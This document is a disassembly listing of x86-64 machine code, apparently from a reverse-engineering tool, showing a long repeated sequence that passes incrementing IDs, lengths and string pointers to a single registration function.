0040eb80bf ab 00 00 00MOV EDI,0xab
0040eb8548 8d 35 73 8a 01 00LEA RSI,[DAT_004275ff]
0040eb8ce8 69 ed ff ffCALL FUN_0040d8fa
0040eb91ba 08 00 00 00MOV EDX,0x8
0040eb96bf ac 00 00 00MOV EDI,0xac
0040eb9b48 8d 35 64 8a 01 00LEA RSI,[DAT_00427606]
0040eba2e8 53 ed ff ffCALL FUN_0040d8fa
0040eba7ba 07 00 00 00MOV EDX,0x7
0040ebacbf ad 00 00 00MOV EDI,0xad
0040ebb148 8d 35 57 8a 01 00LEA RSI,[DAT_0042760f]
0040ebb8e8 3d ed ff ffCALL FUN_0040d8fa
0040ebbdba 06 00 00 00MOV EDX,0x6
0040ebc2bf ae 00 00 00MOV EDI,0xae
0040ebc748 8d 35 49 8a 01 00LEA RSI,[DAT_00427617]
0040ebcee8 27 ed ff ffCALL FUN_0040d8fa
0040ebd3ba 09 00 00 00MOV EDX,0x9
0040ebd8bf af 00 00 00MOV EDI,0xaf
0040ebdd48 8d 35 3a 8a 01 00LEA RSI,[DAT_0042761e]
0040ebe4e8 11 ed ff ffCALL FUN_0040d8fa
0040ebe9ba 08 00 00 00MOV EDX,0x8
0040ebeebf b0 00 00 00MOV EDI,0xb0
0040ebf348 8d 35 2e 8a 01 00LEA RSI,[DAT_00427628]
0040ebfae8 fb ec ff ffCALL FUN_0040d8fa
0040ebffba 06 00 00 00MOV EDX,0x6
0040ec04bf b1 00 00 00MOV EDI,0xb1
0040ec0948 8d 35 21 8a 01 00LEA RSI,[DAT_00427631]
0040ec10e8 e5 ec ff ffCALL FUN_0040d8fa
0040ec15ba 07 00 00 00MOV EDX,0x7
0040ec1abf b2 00 00 00MOV EDI,0xb2
0040ec1f48 8d 35 12 8a 01 00LEA RSI,[DAT_00427638]
0040ec26e8 cf ec ff ffCALL FUN_0040d8fa
0040ec2bba 08 00 00 00MOV EDX,0x8
0040ec30bf b3 00 00 00MOV EDI,0xb3
0040ec3548 8d 35 04 8a 01 00LEA RSI,[DAT_00427640]
0040ec3ce8 b9 ec ff ffCALL FUN_0040d8fa
0040ec41ba 05 00 00 00MOV EDX,0x5
0040ec46bf b4 00 00 00MOV EDI,0xb4
0040ec4b48 8d 35 f7 89 01 00LEA RSI,[DAT_00427649]
0040ec52e8 a3 ec ff ffCALL FUN_0040d8fa
0040ec57ba 09 00 00 00MOV EDX,0x9
0040ec5cbf b5 00 00 00MOV EDI,0xb5
0040ec6148 8d 35 e7 89 01 00LEA RSI,[DAT_0042764f]
0040ec68e8 8d ec ff ffCALL FUN_0040d8fa
0040ec6d4c 89 f6MOV RSI,R14
0040ec70ba 08 00 00 00MOV EDX,0x8
0040ec75bf b6 00 00 00MOV EDI,0xb6
0040ec7ae8 7b ec ff ffCALL FUN_0040d8fa
0040ec7fba 05 00 00 00MOV EDX,0x5
0040ec8448 8d 35 ce 89 01 00LEA RSI,[DAT_00427659]
0040ec8bbf b7 00 00 00MOV EDI,0xb7
0040ec90e8 65 ec ff ffCALL FUN_0040d8fa
0040ec95ba 08 00 00 00MOV EDX,0x8
0040ec9a48 8d 35 be 89 01 00LEA RSI,[DAT_0042765f]
0040eca1bf b8 00 00 00MOV EDI,0xb8
0040eca6e8 4f ec ff ffCALL FUN_0040d8fa
0040ecabba 06 00 00 00MOV EDX,0x6
0040ecb048 8d 35 b1 89 01 00LEA RSI,[DAT_00427668]
0040ecb7bf b9 00 00 00MOV EDI,0xb9
0040ecbce8 39 ec ff ffCALL FUN_0040d8fa
0040ecc1ba 07 00 00 00MOV EDX,0x7
0040ecc648 8d 35 a2 89 01 00LEA RSI,[DAT_0042766f]
0040eccdbf ba 00 00 00MOV EDI,0xba
0040ecd2e8 23 ec ff ffCALL FUN_0040d8fa
0040ecd7ba 0a 00 00 00MOV EDX,0xa
0040ecdc48 8d 35 94 89 01 00LEA RSI,[DAT_00427677]
0040ece3bf bb 00 00 00MOV EDI,0xbb
0040ece8e8 0d ec ff ffCALL FUN_0040d8fa
0040ecedba 07 00 00 00MOV EDX,0x7
0040ecf248 8d 35 89 89 01 00LEA RSI,[DAT_00427682]
0040ecf9bf bc 00 00 00MOV EDI,0xbc
0040ecfee8 f7 eb ff ffCALL FUN_0040d8fa
0040ed03ba 05 00 00 00MOV EDX,0x5
0040ed0848 8d 35 7b 89 01 00LEA RSI,[DAT_0042768a]
0040ed0fbf bd 00 00 00MOV EDI,0xbd
0040ed14e8 e1 eb ff ffCALL FUN_0040d8fa
0040ed19ba 0b 00 00 00MOV EDX,0xb
0040ed1e48 8d 35 6b 89 01 00LEA RSI,[DAT_00427690]
0040ed25bf be 00 00 00MOV EDI,0xbe
0040ed2ae8 cb eb ff ffCALL FUN_0040d8fa
0040ed2fba 0d 00 00 00MOV EDX,0xd
0040ed3448 8d 35 61 89 01 00LEA RSI,[DAT_0042769c]
0040ed3bbf c0 00 00 00MOV EDI,0xc0
0040ed40e8 b5 eb ff ffCALL FUN_0040d8fa
0040ed45ba 07 00 00 00MOV EDX,0x7
0040ed4a48 8d 35 59 89 01 00LEA RSI,[DAT_004276aa]
0040ed51bf c1 00 00 00MOV EDI,0xc1
0040ed56e8 9f eb ff ffCALL FUN_0040d8fa
0040ed5bba 05 00 00 00MOV EDX,0x5
0040ed6048 8d 35 4b 89 01 00LEA RSI,[DAT_004276b2]
0040ed67bf c2 00 00 00MOV EDI,0xc2
0040ed6ce8 89 eb ff ffCALL FUN_0040d8fa
0040ed71ba 03 00 00 00MOV EDX,0x3
0040ed7648 8d 35 3b 89 01 00LEA RSI,[DAT_004276b8]
0040ed7dbf c3 00 00 00MOV EDI,0xc3
0040ed82e8 73 eb ff ffCALL FUN_0040d8fa
0040ed87ba 04 00 00 00MOV EDX,0x4
0040ed8c48 8d 35 2a 89 01 00LEA RSI,[DAT_004276bd]
0040ed93bf c4 00 00 00MOV EDI,0xc4
0040ed98e8 5d eb ff ffCALL FUN_0040d8fa
0040ed9dba 04 00 00 00MOV EDX,0x4
0040eda248 8d 35 1a 89 01 00LEA RSI,[DAT_004276c3]
0040eda9bf c5 00 00 00MOV EDI,0xc5
0040edaee8 47 eb ff ffCALL FUN_0040d8fa
0040edb3ba 05 00 00 00MOV EDX,0x5
0040edb848 8d 35 0a 89 01 00LEA RSI,[DAT_004276c9]
0040edbfbf c6 00 00 00MOV EDI,0xc6
0040edc4e8 31 eb ff ffCALL FUN_0040d8fa
0040edc9ba 04 00 00 00MOV EDX,0x4
0040edce48 8d 35 fb 88 01 00LEA RSI,[DAT_004276d0]
0040edd5bf c7 00 00 00MOV EDI,0xc7
0040eddae8 1b eb ff ffCALL FUN_0040d8fa
0040eddfba 04 00 00 00MOV EDX,0x4
0040ede448 8d 35 eb 88 01 00LEA RSI,[DAT_004276d6]
0040edebbf c8 00 00 00MOV EDI,0xc8
0040edf0e8 05 eb ff ffCALL FUN_0040d8fa
0040edf5ba 04 00 00 00MOV EDX,0x4
0040edfa48 8d 35 db 88 01 00LEA RSI,[DAT_004276dc]
0040ee01bf c9 00 00 00MOV EDI,0xc9
0040ee06e8 ef ea ff ffCALL FUN_0040d8fa
0040ee0bba 08 00 00 00MOV EDX,0x8
0040ee1048 8d 35 cb 88 01 00LEA RSI,[DAT_004276e2]
0040ee17bf ca 00 00 00MOV EDI,0xca
0040ee1ce8 d9 ea ff ffCALL FUN_0040d8fa
0040ee21ba 03 00 00 00MOV EDX,0x3
0040ee2648 8d 35 be 88 01 00LEA RSI,[DAT_004276eb]
0040ee2dbf cb 00 00 00MOV EDI,0xcb
0040ee32e8 c3 ea ff ffCALL FUN_0040d8fa
0040ee37ba 03 00 00 00MOV EDX,0x3
0040ee3c48 8d 35 ad 88 01 00LEA RSI,[DAT_004276f0]
0040ee43bf cc 00 00 00MOV EDI,0xcc
0040ee48e8 ad ea ff ffCALL FUN_0040d8fa
0040ee4dba 07 00 00 00MOV EDX,0x7
0040ee5248 8d 35 9b 88 01 00LEA RSI,[DAT_004276f4]
0040ee59bf cd 00 00 00MOV EDI,0xcd
0040ee5ee8 97 ea ff ffCALL FUN_0040d8fa
0040ee63ba 04 00 00 00MOV EDX,0x4
0040ee6848 8d 35 8d 88 01 00LEA RSI,[DAT_004276fc]
0040ee6fbf cf 00 00 00MOV EDI,0xcf
0040ee74e8 81 ea ff ffCALL FUN_0040d8fa
0040ee794c 89 eeMOV RSI,R13
0040ee7cba 07 00 00 00MOV EDX,0x7
0040ee81bf ce 00 00 00MOV EDI,0xce
0040ee86e8 6f ea ff ffCALL FUN_0040d8fa
0040ee8bba 08 00 00 00MOV EDX,0x8
0040ee9048 8d 35 6a 88 01 00LEA RSI,[DAT_00427701]
0040ee97bf d0 00 00 00MOV EDI,0xd0
0040ee9ce8 59 ea ff ffCALL FUN_0040d8fa
0040eea1ba 05 00 00 00MOV EDX,0x5
0040eea648 8d 35 5d 88 01 00LEA RSI,[DAT_0042770a]
0040eeadbf d1 00 00 00MOV EDI,0xd1
0040eeb2e8 43 ea ff ffCALL FUN_0040d8fa
0040eeb7ba 04 00 00 00MOV EDX,0x4
0040eebc48 8d 35 4d 88 01 00LEA RSI,[DAT_00427710]
0040eec3bf d2 00 00 00MOV EDI,0xd2
0040eec8e8 2d ea ff ffCALL FUN_0040d8fa
0040eecdba 0b 00 00 00MOV EDX,0xb
0040eed248 8d 35 3c 88 01 00LEA RSI,[DAT_00427715]
0040eed9bf d3 00 00 00MOV EDI,0xd3
0040eedee8 17 ea ff ffCALL FUN_0040d8fa
0040eee3ba 06 00 00 00MOV EDX,0x6
0040eee848 8d 35 32 88 01 00LEA RSI,[DAT_00427721]
0040eeefbf d4 00 00 00MOV EDI,0xd4
0040eef4e8 01 ea ff ffCALL FUN_0040d8fa
0040eef9ba 08 00 00 00MOV EDX,0x8
0040eefe48 8d 35 23 88 01 00LEA RSI,[DAT_00427728]
0040ef05bf d5 00 00 00MOV EDI,0xd5
0040ef0ae8 eb e9 ff ffCALL FUN_0040d8fa
0040ef0fba 0f 00 00 00MOV EDX,0xf
0040ef1448 8d 35 16 88 01 00LEA RSI,[DAT_00427731]
0040ef1bbf d6 00 00 00MOV EDI,0xd6
0040ef20e8 d5 e9 ff ffCALL FUN_0040d8fa
0040ef25ba 0e 00 00 00MOV EDX,0xe
0040ef2a48 8d 35 10 88 01 00LEA RSI,[DAT_00427741]
0040ef31bf d7 00 00 00MOV EDI,0xd7
0040ef36e8 bf e9 ff ffCALL FUN_0040d8fa
0040ef3b4c 89 e6MOV RSI,R12
0040ef3eba 0f 00 00 00MOV EDX,0xf
0040ef43bf d8 00 00 00MOV EDI,0xd8
0040ef48e8 ad e9 ff ffCALL FUN_0040d8fa
0040ef4dba 06 00 00 00MOV EDX,0x6
0040ef5248 8d 35 f7 87 01 00LEA RSI,[DAT_00427750]
0040ef59bf d9 00 00 00MOV EDI,0xd9
0040ef5ee8 97 e9 ff ffCALL FUN_0040d8fa
0040ef63ba 05 00 00 00MOV EDX,0x5
0040ef6848 8d 35 e8 87 01 00LEA RSI,[DAT_00427757]
0040ef6fbf da 00 00 00MOV EDI,0xda
0040ef74e8 81 e9 ff ffCALL FUN_0040d8fa
0040ef794c 8d 25 e3 87 01 00LEA R12,[DAT_00427763]
0040ef80ba 05 00 00 00MOV EDX,0x5
0040ef8548 8d 35 d1 87 01 00LEA RSI,[DAT_0042775d]
0040ef8cbf db 00 00 00MOV EDI,0xdb
0040ef914c 8d 35 ab 88 01 00LEA R14,[DAT_00427843]
0040ef984c 8d 2d aa 88 01 00LEA R13,[DAT_00427849]
0040ef9fe8 56 e9 ff ffCALL FUN_0040d8fa
0040efa44c 89 e6MOV RSI,R12
0040efa7ba 09 00 00 00MOV EDX,0x9
0040efacbf dc 00 00 00MOV EDI,0xdc
0040efb1e8 44 e9 ff ffCALL FUN_0040d8fa
0040efb64c 89 e6MOV RSI,R12
0040efb9ba 09 00 00 00MOV EDX,0x9
0040efbebf dd 00 00 00MOV EDI,0xdd
0040efc3e8 32 e9 ff ffCALL FUN_0040d8fa
0040efc8ba 0d 00 00 00MOV EDX,0xd
0040efcd48 8d 35 99 87 01 00LEA RSI,[DAT_0042776d]
0040efd4bf de 00 00 00MOV EDI,0xde
0040efd9e8 1c e9 ff ffCALL FUN_0040d8fa
0040efdeba 0d 00 00 00MOV EDX,0xd
0040efe348 8d 35 91 87 01 00LEA RSI,[DAT_0042777b]
0040efeabf df 00 00 00MOV EDI,0xdf
0040efefe8 06 e9 ff ffCALL FUN_0040d8fa
0040eff4ba 0d 00 00 00MOV EDX,0xd
0040eff948 8d 35 89 87 01 00LEA RSI,[DAT_00427789]
0040f000bf e0 00 00 00MOV EDI,0xe0
0040f005e8 f0 e8 ff ffCALL FUN_0040d8fa
0040f00aba 05 00 00 00MOV EDX,0x5
0040f00f48 8d 35 81 87 01 00LEA RSI,[DAT_00427797]
0040f016bf e1 00 00 00MOV EDI,0xe1
0040f01be8 da e8 ff ffCALL FUN_0040d8fa
0040f020ba 0d 00 00 00MOV EDX,0xd
0040f02548 8d 35 71 87 01 00LEA RSI,[DAT_0042779d]
0040f02cbf e2 00 00 00MOV EDI,0xe2
0040f031e8 c4 e8 ff ffCALL FUN_0040d8fa
0040f036ba 12 00 00 00MOV EDX,0x12
0040f03b48 8d 35 69 87 01 00LEA RSI,[DAT_004277ab]
0040f042bf e3 00 00 00MOV EDI,0xe3
0040f047e8 ae e8 ff ffCALL FUN_0040d8fa
0040f04cba 09 00 00 00MOV EDX,0x9
0040f05148 8d 35 66 87 01 00LEA RSI,[DAT_004277be]
0040f058bf e4 00 00 00MOV EDI,0xe4
0040f05de8 98 e8 ff ffCALL FUN_0040d8fa
0040f062ba 13 00 00 00MOV EDX,0x13
0040f06748 8d 35 5a 87 01 00LEA RSI,[DAT_004277c8]
0040f06ebf e5 00 00 00MOV EDI,0xe5
0040f073e8 82 e8 ff ffCALL FUN_0040d8fa
0040f078ba 07 00 00 00MOV EDX,0x7
0040f07d48 8d 35 58 87 01 00LEA RSI,[DAT_004277dc]
0040f084bf e6 00 00 00MOV EDI,0xe6
0040f089e8 6c e8 ff ffCALL FUN_0040d8fa
0040f08eba 07 00 00 00MOV EDX,0x7
0040f09348 8d 35 4a 87 01 00LEA RSI,[DAT_004277e4]
0040f09abf e7 00 00 00MOV EDI,0xe7
0040f09fe8 56 e8 ff ffCALL FUN_0040d8fa
0040f0a4ba 06 00 00 00MOV EDX,0x6
0040f0a948 8d 35 3c 87 01 00LEA RSI,[DAT_004277ec]
0040f0b0bf e8 00 00 00MOV EDI,0xe8
0040f0b5e8 40 e8 ff ffCALL FUN_0040d8fa
0040f0baba 05 00 00 00MOV EDX,0x5
0040f0bf48 8d 35 2d 87 01 00LEA RSI,[DAT_004277f3]
0040f0c6bf e9 00 00 00MOV EDI,0xe9
0040f0cbe8 2a e8 ff ffCALL FUN_0040d8fa
0040f0d0ba 08 00 00 00MOV EDX,0x8
0040f0d548 8d 35 1d 87 01 00LEA RSI,[DAT_004277f9]
0040f0dcbf ea 00 00 00MOV EDI,0xea
0040f0e1e8 14 e8 ff ffCALL FUN_0040d8fa
0040f0e6ba 07 00 00 00MOV EDX,0x7
0040f0eb48 8d 35 10 87 01 00LEA RSI,[DAT_00427802]
0040f0f2bf eb 00 00 00MOV EDI,0xeb
0040f0f7e8 fe e7 ff ffCALL FUN_0040d8fa
0040f0fcba 05 00 00 00MOV EDX,0x5
0040f10148 8d 35 02 87 01 00LEA RSI,[DAT_0042780a]
0040f108bf ec 00 00 00MOV EDI,0xec
0040f10de8 e8 e7 ff ffCALL FUN_0040d8fa
0040f112ba 06 00 00 00MOV EDX,0x6
0040f11748 8d 35 f2 86 01 00LEA RSI,[DAT_00427810]
0040f11ebf ed 00 00 00MOV EDI,0xed
0040f123e8 d2 e7 ff ffCALL FUN_0040d8fa
0040f128ba 07 00 00 00MOV EDX,0x7
0040f12d48 8d 35 e3 86 01 00LEA RSI,[DAT_00427817]
0040f134bf ee 00 00 00MOV EDI,0xee
0040f139e8 bc e7 ff ffCALL FUN_0040d8fa
0040f13eba 01 00 00 00MOV EDX,0x1
0040f14348 8d 35 e0 7a 01 00LEA RSI,[DAT_00426c2a]
0040f14abf ef 00 00 00MOV EDI,0xef
0040f14fe8 a6 e7 ff ffCALL FUN_0040d8fa
0040f154ba 04 00 00 00MOV EDX,0x4
0040f1594c 8d 05 bf 86 01 00LEA R8,[DAT_0042781f]
0040f160bf f0 00 00 00MOV EDI,0xf0
0040f1654c 89 c6MOV RSI,R8
0040f1684c 8d 25 7e 87 01 00LEA R12,[DAT_004278ed]
0040f16fe8 86 e7 ff ffCALL FUN_0040d8fa
0040f174ba 04 00 00 00MOV EDX,0x4
0040f179bf f1 00 00 00MOV EDI,0xf1
0040f17e4c 8d 15 9f 86 01 00LEA R10,[DAT_00427824]
0040f1854c 89 d6MOV RSI,R10
0040f188e8 6d e7 ff ffCALL FUN_0040d8fa
0040f18dba 04 00 00 00MOV EDX,0x4
0040f192bf f2 00 00 00MOV EDI,0xf2
0040f19748 8d 35 8b 86 01 00LEA RSI,[DAT_00427829]
0040f19ee8 57 e7 ff ffCALL FUN_0040d8fa
0040f1a3ba 03 00 00 00MOV EDX,0x3
0040f1a8bf f3 00 00 00MOV EDI,0xf3
0040f1ad48 8d 35 7a 86 01 00LEA RSI,[DAT_0042782e]
0040f1b4e8 41 e7 ff ffCALL FUN_0040d8fa
0040f1b9ba 04 00 00 00MOV EDX,0x4
0040f1bebf f4 00 00 00MOV EDI,0xf4
0040f1c34c 8d 1d 68 86 01 00LEA R11,[DAT_00427832]
0040f1ca4c 89 deMOV RSI,R11
0040f1cde8 28 e7 ff ffCALL FUN_0040d8fa
0040f1d2ba 04 00 00 00MOV EDX,0x4
0040f1d7bf f5 00 00 00MOV EDI,0xf5
0040f1dc4c 8d 0d 54 86 01 00LEA R9,[DAT_00427837]
0040f1e34c 89 ceMOV RSI,R9
0040f1e6e8 0f e7 ff ffCALL FUN_0040d8fa
0040f1ebba 06 00 00 00MOV EDX,0x6
0040f1f04c 89 feMOV RSI,R15
0040f1f3bf f6 00 00 00MOV EDI,0xf6
0040f1f8e8 fd e6 ff ffCALL FUN_0040d8fa
0040f1fdba 05 00 00 00MOV EDX,0x5
0040f2024c 89 f6MOV RSI,R14
0040f205bf f7 00 00 00MOV EDI,0xf7
0040f20ae8 eb e6 ff ffCALL FUN_0040d8fa
0040f20fba 04 00 00 00MOV EDX,0x4
0040f2144c 89 eeMOV RSI,R13
0040f217bf f8 00 00 00MOV EDI,0xf8
0040f21ce8 d9 e6 ff ffCALL FUN_0040d8fa
0040f221ba 04 00 00 00MOV EDX,0x4
0040f226bf f9 00 00 00MOV EDI,0xf9
0040f22b48 8d 35 1c 86 01 00LEA RSI,[DAT_0042784e]
0040f232e8 c3 e6 ff ffCALL FUN_0040d8fa
0040f237ba 05 00 00 00MOV EDX,0x5
0040f23cbf fa 00 00 00MOV EDI,0xfa
0040f24148 8d 35 0b 86 01 00LEA RSI,[DAT_00427853]
0040f248e8 ad e6 ff ffCALL FUN_0040d8fa
0040f24dba 07 00 00 00MOV EDX,0x7
0040f25248 89 deMOV RSI,RBX
0040f255bf fb 00 00 00MOV EDI,0xfb
0040f25ae8 9b e6 ff ffCALL FUN_0040d8fa
0040f25fba 09 00 00 00MOV EDX,0x9
0040f264bf fd 00 00 00MOV EDI,0xfd
0040f26948 8d 35 f1 85 01 00LEA RSI,[DAT_00427861]
0040f270e8 85 e6 ff ffCALL FUN_0040d8fa
0040f275ba 09 00 00 00MOV EDX,0x9
0040f27abf fe 00 00 00MOV EDI,0xfe
0040f27f48 8d 35 e5 85 01 00LEA RSI,[DAT_0042786b]
0040f286e8 6f e6 ff ffCALL FUN_0040d8fa
0040f28bba 08 00 00 00MOV EDX,0x8
0040f290bf ff 00 00 00MOV EDI,0xff
0040f29548 8d 35 d9 85 01 00LEA RSI,[DAT_00427875]
0040f29ce8 59 e6 ff ffCALL FUN_0040d8fa
0040f2a1ba 08 00 00 00MOV EDX,0x8
0040f2a6bf 00 01 00 00MOV EDI,0x100
0040f2ab48 8d 35 cc 85 01 00LEA RSI,[DAT_0042787e]
0040f2b2e8 43 e6 ff ffCALL FUN_0040d8fa
0040f2b7ba 09 00 00 00MOV EDX,0x9
0040f2bcbf 01 01 00 00MOV EDI,0x101
0040f2c148 8d 35 bf 85 01 00LEA RSI,[DAT_00427887]
0040f2c8e8 2d e6 ff ffCALL FUN_0040d8fa
0040f2cdba 02 00 00 00MOV EDX,0x2
0040f2d2bf 02 01 00 00MOV EDI,0x102
0040f2d748 8d 35 b3 85 01 00LEA RSI,[DAT_00427891]
0040f2dee8 17 e6 ff ffCALL FUN_0040d8fa
0040f2e3ba 04 00 00 00MOV EDX,0x4
0040f2e8bf 03 01 00 00MOV EDI,0x103
0040f2ed48 8d 35 a0 85 01 00LEA RSI,[DAT_00427894]
0040f2f4e8 01 e6 ff ffCALL FUN_0040d8fa
0040f2f9ba 04 00 00 00MOV EDX,0x4
0040f2febf 04 01 00 00MOV EDI,0x104
0040f30348 8d 35 8f 85 01 00LEA RSI,[DAT_00427899]
0040f30ae8 eb e5 ff ffCALL FUN_0040d8fa
0040f30fba 03 00 00 00MOV EDX,0x3
0040f314bf 05 01 00 00MOV EDI,0x105
0040f31948 8d 35 7e 85 01 00LEA RSI,[DAT_0042789e]
0040f320e8 d5 e5 ff ffCALL FUN_0040d8fa
0040f325ba 03 00 00 00MOV EDX,0x3
0040f32abf 06 01 00 00MOV EDI,0x106
0040f32f48 8d 35 6c 85 01 00LEA RSI,[DAT_004278a2]
0040f336e8 bf e5 ff ffCALL FUN_0040d8fa
0040f33bba 04 00 00 00MOV EDX,0x4
0040f340bf 07 01 00 00MOV EDI,0x107
0040f34548 8d 35 5a 85 01 00LEA RSI,[DAT_004278a6]
0040f34ce8 a9 e5 ff ffCALL FUN_0040d8fa
0040f351ba 03 00 00 00MOV EDX,0x3
0040f356bf 08 01 00 00MOV EDI,0x108
0040f35b48 8d 35 49 85 01 00LEA RSI,[DAT_004278ab]
0040f362e8 93 e5 ff ffCALL FUN_0040d8fa
0040f367ba 05 00 00 00MOV EDX,0x5
0040f36cbf 09 01 00 00MOV EDI,0x109
0040f37148 8d 35 37 85 01 00LEA RSI,[DAT_004278af]
0040f378e8 7d e5 ff ffCALL FUN_0040d8fa
0040f37dba 08 00 00 00MOV EDX,0x8
0040f382bf 0a 01 00 00MOV EDI,0x10a
0040f38748 8d 35 27 85 01 00LEA RSI,[DAT_004278b5]
0040f38ee8 67 e5 ff ffCALL FUN_0040d8fa
0040f393ba 06 00 00 00MOV EDX,0x6
0040f398bf 0b 01 00 00MOV EDI,0x10b
0040f39d48 8d 35 1a 85 01 00LEA RSI,[DAT_004278be]
0040f3a4e8 51 e5 ff ffCALL FUN_0040d8fa
0040f3a9ba 08 00 00 00MOV EDX,0x8
0040f3aebf 0c 01 00 00MOV EDI,0x10c
0040f3b348 8d 35 0b 85 01 00LEA RSI,[DAT_004278c5]
0040f3bae8 3b e5 ff ffCALL FUN_0040d8fa
0040f3bfba 04 00 00 00MOV EDX,0x4
0040f3c4bf 0d 01 00 00MOV EDI,0x10d
0040f3c948 8d 35 fe 84 01 00LEA RSI,[DAT_004278ce]
0040f3d0e8 25 e5 ff ffCALL FUN_0040d8fa
0040f3d5ba 08 00 00 00MOV EDX,0x8
0040f3dabf 0e 01 00 00MOV EDI,0x10e
0040f3df48 8d 35 ed 84 01 00LEA RSI,[DAT_004278d3]
0040f3e6e8 0f e5 ff ffCALL FUN_0040d8fa
0040f3ebba 0b 00 00 00MOV EDX,0xb
0040f3f0bf 0f 01 00 00MOV EDI,0x10f
0040f3f548 8d 35 e0 84 01 00LEA RSI,[DAT_004278dc]
0040f3fce8 f9 e4 ff ffCALL FUN_0040d8fa
0040f401ba 04 00 00 00MOV EDX,0x4
0040f406bf 10 01 00 00MOV EDI,0x110
0040f40b48 8d 35 d6 84 01 00LEA RSI,[DAT_004278e8]
0040f412e8 e3 e4 ff ffCALL FUN_0040d8fa
0040f417ba 05 00 00 00MOV EDX,0x5
0040f41c4c 89 e6MOV RSI,R12
0040f41fbf 11 01 00 00MOV EDI,0x111
0040f424e8 d1 e4 ff ffCALL FUN_0040d8fa
0040f42948 89 eeMOV RSI,RBP
0040f42cba 05 00 00 00MOV EDX,0x5
0040f431bf 12 01 00 00MOV EDI,0x112
0040f436e8 bf e4 ff ffCALL FUN_0040d8fa
0040f43bba 21 00 00 00MOV EDX,0x21
0040f440bf 13 01 00 00MOV EDI,0x113
0040f44548 8d 35 a7 84 01 00LEA RSI,[DAT_004278f3]
0040f44ce8 a9 e4 ff ffCALL FUN_0040d8fa
0040f451ba 20 00 00 00MOV EDX,0x20
0040f456bf 14 01 00 00MOV EDI,0x114
0040f45b48 8d 35 b3 84 01 00LEA RSI,[DAT_00427915]
0040f462e8 93 e4 ff ffCALL FUN_0040d8fa
0040f467ba 12 00 00 00MOV EDX,0x12
0040f46cbf 15 01 00 00MOV EDI,0x115
0040f47148 8d 35 be 84 01 00LEA RSI,[DAT_00427936]
0040f478e8 7d e4 ff ffCALL FUN_0040d8fa
0040f47dba 12 00 00 00MOV EDX,0x12
0040f482bf 16 01 00 00MOV EDI,0x116
0040f48748 8d 35 bb 84 01 00LEA RSI,[DAT_00427949]
0040f48ee8 67 e4 ff ffCALL FUN_0040d8fa
0040f493ba 03 00 00 00MOV EDX,0x3
0040f498bf 17 01 00 00MOV EDI,0x117
0040f49d48 8d 35 b8 84 01 00LEA RSI,[DAT_0042795c]
0040f4a4e8 51 e4 ff ffCALL FUN_0040d8fa
0040f4a9ba 08 00 00 00MOV EDX,0x8
0040f4aebf 18 01 00 00MOV EDI,0x118
0040f4b348 8d 35 a6 84 01 00LEA RSI,[DAT_00427960]
0040f4bae8 3b e4 ff ffCALL FUN_0040d8fa
0040f4bfba 04 00 00 00MOV EDX,0x4
0040f4c4bf 19 01 00 00MOV EDI,0x119
0040f4c948 8d 35 99 84 01 00LEA RSI,[DAT_00427969]
0040f4d0e8 25 e4 ff ffCALL FUN_0040d8fa
0040f4d5ba 0b 00 00 00MOV EDX,0xb
0040f4dabf 1a 01 00 00MOV EDI,0x11a
0040f4df48 8d 35 88 84 01 00LEA RSI,[DAT_0042796e]
0040f4e6e8 0f e4 ff ffCALL FUN_0040d8fa
0040f4ebba 0a 00 00 00MOV EDX,0xa
0040f4f0bf 1b 01 00 00MOV EDI,0x11b
0040f4f548 8d 35 7e 84 01 00LEA RSI,[DAT_0042797a]
0040f4fce8 f9 e3 ff ffCALL FUN_0040d8fa
0040f501ba 09 00 00 00MOV EDX,0x9
0040f506bf 1c 01 00 00MOV EDI,0x11c
0040f50b48 8d 35 73 84 01 00LEA RSI,[DAT_00427985]
0040f512e8 e3 e3 ff ffCALL FUN_0040d8fa
0040f517ba 04 00 00 00MOV EDX,0x4
0040f51cbf 1d 01 00 00MOV EDI,0x11d
0040f52148 8d 35 67 84 01 00LEA RSI,[DAT_0042798f]
0040f528e8 cd e3 ff ffCALL FUN_0040d8fa
0040f52dba 04 00 00 00MOV EDX,0x4
0040f532bf 1e 01 00 00MOV EDI,0x11e
0040f53748 8d 35 56 84 01 00LEA RSI,[DAT_00427994]
0040f53ee8 b7 e3 ff ffCALL FUN_0040d8fa
0040f543ba 05 00 00 00MOV EDX,0x5
0040f548bf 1f 01 00 00MOV EDI,0x11f
0040f54d48 8d 35 45 84 01 00LEA RSI,[DAT_00427999]
0040f554e8 a1 e3 ff ffCALL FUN_0040d8fa
0040f559ba 04 00 00 00MOV EDX,0x4
0040f55ebf 20 01 00 00MOV EDI,0x120
0040f56348 8d 35 35 84 01 00LEA RSI,[DAT_0042799f]
0040f56ae8 8b e3 ff ffCALL FUN_0040d8fa
0040f56fba 05 00 00 00MOV EDX,0x5
0040f574bf 21 01 00 00MOV EDI,0x121
0040f57948 8d 35 24 84 01 00LEA RSI,[DAT_004279a4]
0040f580e8 75 e3 ff ffCALL FUN_0040d8fa
0040f585ba 04 00 00 00MOV EDX,0x4
0040f58abf 22 01 00 00MOV EDI,0x122
0040f58f48 8d 35 14 84 01 00LEA RSI,[DAT_004279aa]
0040f596e8 5f e3 ff ffCALL FUN_0040d8fa
0040f59bba 04 00 00 00MOV EDX,0x4
0040f5a0bf 23 01 00 00MOV EDI,0x123
0040f5a548 8d 35 03 84 01 00LEA RSI,[DAT_004279af]
0040f5ace8 49 e3 ff ffCALL FUN_0040d8fa
0040f5b1ba 04 00 00 00MOV EDX,0x4
0040f5b6bf 24 01 00 00MOV EDI,0x124
0040f5bb48 8d 35 cd 8c 01 00LEA RSI,[DAT_0042828f]
0040f5c2e8 33 e3 ff ffCALL FUN_0040d8fa
0040f5c7ba 04 00 00 00MOV EDX,0x4
0040f5ccbf 25 01 00 00MOV EDI,0x125
0040f5d148 8d 35 dc 83 01 00LEA RSI,[DAT_004279b4]
0040f5d8e8 1d e3 ff ffCALL FUN_0040d8fa
0040f5ddba 05 00 00 00MOV EDX,0x5
0040f5e2bf 26 01 00 00MOV EDI,0x126
0040f5e748 8d 35 cb 83 01 00LEA RSI,[DAT_004279b9]
0040f5eee8 07 e3 ff ffCALL FUN_0040d8fa
0040f5f3ba 04 00 00 00MOV EDX,0x4
0040f5f8bf 27 01 00 00MOV EDI,0x127
0040f5fd48 8d 35 bb 83 01 00LEA RSI,[DAT_004279bf]
0040f604e8 f1 e2 ff ffCALL FUN_0040d8fa
0040f609ba 10 00 00 00MOV EDX,0x10
0040f60ebf 28 01 00 00MOV EDI,0x128
0040f61348 8d 35 aa 83 01 00LEA RSI,[DAT_004279c4]
0040f61ae8 db e2 ff ffCALL FUN_0040d8fa
